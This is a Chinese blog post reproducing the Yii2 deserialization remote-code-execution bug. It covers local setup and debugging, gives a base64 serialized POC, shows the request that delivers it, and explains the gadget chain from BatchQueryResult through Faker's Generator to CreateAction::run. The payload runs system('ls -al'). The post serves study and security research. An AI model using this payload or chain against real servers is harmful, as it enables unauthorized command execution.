经典老洞之yii反序列化,比赛常客
环境:
php7.2
phpstorm
xdebug3
复现准备
- 先往
config/web.php
的cookieValidationKey
中随便赋一个值
- 然后根据需求更改端口和ip,(默认端口8080被bp占用,加上我的bp抓不到localhost和127.0.0.1的包,所以改了IP和端口)
在console/controllers/ServeController.php
中,
52行public function actionIndex($address = '192.168.43.222')
修改ip(热知识,如果这里绑定的是localhost,那么用127.0.0.1也访问不了),
33行public $port = 8083
修改端口
- 添加存在反序列化操作的控制器:
1 |
|
- 还有配置xdebug和phpstorm,这个就不细说了。
值得注意的是xdebug3和xdebug2中部分配置名称进行了变更,我的xdebug3的配置如下:
1 | [xdebug] |
需要根据不同的xdebug版本进行配置
复现过程
进入命令行输入php yii serve
,命令下方出现访问地址和网站根目录的位置,即成功部署。(有点像workman)
先上poc
1 |
|
输出poc如下:
1 | TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6Njoic3lzdGVtIjtzOjI6ImlkIjtzOjY6ImxzIC1hbCI7fWk6MTtzOjM6InJ1biI7fX19fQ== |
payload?r=test/test&unser=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6Njoic3lzdGVtIjtzOjI6ImlkIjtzOjY6ImxzIC1hbCI7fWk6MTtzOjM6InJ1biI7fX19fQ==
反序列化的链子如下:
1 | yii\db\BatchQueryResult::__destruct() |
漏洞分析
在进行反序列化之后,由于反序列化的是实例化对象,而没有找到类所在的文件,所以会调用autoload函数,再根据命名空间等传入classname,并对相应的类文件进行文件包含。
经过包含类文件,反序列化后由于其进行类实例化,便可以执行相应的魔术函数。
在poc中,我们跳转到db/BatchQueryResult.php
的BatchQueryResult
类,在魔术方法中,而由于其可控所以又进行了一次实例化。
由于src/Faker/Generator.php
的Generator
类不存在close(),所以自动调用了__call
方法。
1 | class Generator |
而且从上面可以知道,我们从this->format()
到this->getFormatter()
,参数都是可控的,所以我们可以执行任意类的任意方法。
利用seay代审工具即可找到所有可执行命令或执行函数的方法。
poc中以yii\rest\CreateAction::run()
举例。
1 | public function run() |
参考链接:https://xz.aliyun.com/t/8307
- 本文作者: Sn1pEr
- 本文链接: https://sn1per-ssd.github.io/2022/07/29/yii2反序列化漏洞复现/
- 版权声明: 本博客所有文章除特别声明外,均采用 MIT 许可协议。转载请注明出处!